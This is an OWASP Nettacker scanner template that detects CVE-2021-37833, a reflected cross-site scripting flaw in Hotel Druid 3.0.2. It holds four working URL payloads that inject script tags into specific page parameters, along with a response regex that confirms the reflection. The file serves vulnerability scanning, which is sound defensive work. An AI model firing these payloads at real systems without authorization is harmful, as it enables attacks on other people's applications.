info:
  name: hoteldruid_cve_2021_37833_vuln
  author: OWASP Nettacker Team
  severity: 6
  description:  Reflected cross-site scripting (XSS) vulnerability exists in multiple pages in version 3.0.2 of the Hotel Druid application that allows for arbitrary execution of JavaScript commands.
  reference: 
    - https://github.com/dievus/CVE-2021-37833
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37833
  profiles:
    - vuln
    - vulnerability
    - http
    - medium_severity
    - cve2021
    - cve
    - hoteldruid
    - xss

payloads:
  - library: http
    steps:
      - method: get
        timeout: 3
        headers:
          User-Agent: "{user_agent}"
        allow_redirects: false
        ssl: false
        url:
          nettacker_fuzzer:
            input_format: "{{schema}}://{target}:{{ports}}/{{paths}}"
            prefix: ""
            suffix: ""
            interceptors:
            data:
              schema:
                - "http"
                - "https"
              ports:
                - 80
                - 443
              paths:
                - 'visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1'
                - 'storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1'
                - 'tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1'
                - 'crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1'

        response:
          condition_type: and
          conditions:
            status_code:
              regex: '200'
              reverse: false
            header:
              Content-type: 
                regex: text/html
                reverse: false
            content:
              regex: <\/script><script>alert\(document\.domain\)<\/script>
              reverse: false
